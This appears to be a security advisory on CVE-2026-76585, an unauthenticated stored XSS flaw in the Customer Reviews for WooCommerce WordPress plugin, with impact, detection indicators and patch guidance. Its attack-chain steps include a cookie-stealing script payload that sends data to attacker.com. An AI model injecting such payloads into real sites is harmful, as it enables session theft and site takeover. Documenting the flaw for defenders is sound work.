CVE-2026-76585: 
WordPress vulnerability analysis and mitigation

CVE-2026-76585 is an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the Customer Reviews for WooCommerce WordPress plugin. The flaw affects all versions of the plugin before 5.118.0 and was publicly disclosed on August 28, 2026, with NVD publication on August 30, 2026. It carries a CVSS score of 8.8 (High) and is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) (WPScan, Github Advisory).

The vulnerability stems from insufficient input sanitization and output escaping of customer review content submitted via one of the plugin's endpoints (specifically the comment parameter). Because no authentication is required to submit reviews, an attacker can inject arbitrary JavaScript into the review content, which is then stored in the database and rendered in the browsers of any user who views the affected review page. The root cause is classified as CWE-79 (Stored XSS), and the attack vector is network-accessible with no privileges required (WPScan). A proof-of-concept was withheld by WPScan until September 11, 2026, to allow time for users to update.

Successful exploitation allows unauthenticated attackers to inject persistent malicious scripts into customer reviews, which execute in the browsers of any site visitor or authenticated user who views the affected content. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of authenticated users (including administrators), and redirection of visitors to malicious sites. In a WooCommerce context, compromise of an administrator session could lead to full site takeover, including installation of backdoors or exfiltration of customer data (WPScan, Github Advisory).

As of the disclosure date, there is no confirmed evidence of in-the-wild exploitation or a publicly available proof-of-concept exploit; WPScan has intentionally delayed PoC publication until September 11, 2026. The EPSS score is reported as 0.0, and the vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the unauthenticated nature of the attack and the wide deployment of the Customer Reviews for WooCommerce plugin make it an attractive target once a PoC becomes public (WPScan, Github Advisory).

1. Reconnaissance: Identify WordPress sites running the Customer Reviews for WooCommerce plugin (versions before 5.118.0) using tools like WPScan, Shodan, or by inspecting plugin directories on target sites.
2. Locate the vulnerable endpoint: Identify the plugin's review submission endpoint (associated with the comment parameter) by reviewing the plugin's source code or observing network traffic during a legitimate review submission.
3. Craft malicious payload: Prepare a Stored XSS payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>, to be injected into the review content field.
4. Submit the malicious review: Send an unauthenticated HTTP POST request to the plugin's review endpoint with the crafted payload in the comment parameter — no authentication or special privileges are required.
5. Payload execution: When any user (including administrators) views the product page containing the malicious review, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (WPScan).

• Network: Unusual POST requests to the Customer Reviews for WooCommerce plugin's review submission endpoint containing JavaScript tags or encoded script payloads in the comment parameter; outbound connections from site visitors' browsers to unknown external domains shortly after viewing product review pages.
• Logs: WordPress or web server access logs showing repeated unauthenticated POST requests to the plugin's review endpoint with anomalous or oversized comment field values; error logs indicating unexpected script content in review submissions.
• File System / Database: Review entries in the WordPress database (wp_comments or plugin-specific tables) containing <script>, javascript:, onerror=, or other XSS indicators in the comment body.
• Process / Browser: Unexpected redirects or pop-ups experienced by site visitors or administrators when viewing product review pages; reports of session cookies being invalidated or accounts being accessed from unusual locations.

The vendor has released a patched version of the Customer Reviews for WooCommerce plugin (version 5.118.0), which includes proper sanitization and escaping of review content. Site administrators should update the plugin to version 5.118.0 or later immediately via the WordPress admin dashboard or WP-CLI. As interim mitigations, consider implementing a Web Application Firewall (WAF) rule to block suspicious review submissions, enforcing Content Security Policy (CSP) headers to restrict script execution, and temporarily disabling the review submission feature if updating is not immediately possible (WPScan, Github Advisory).

The vulnerability was discovered and responsibly reported by a researcher identified as 'rasul' and verified by WPScan, which coordinated disclosure and delayed PoC publication until September 11, 2026, to allow users time to patch. No significant broader media coverage or notable public researcher commentary beyond the WPScan and GitHub Advisory disclosures has been identified at this time (WPScan).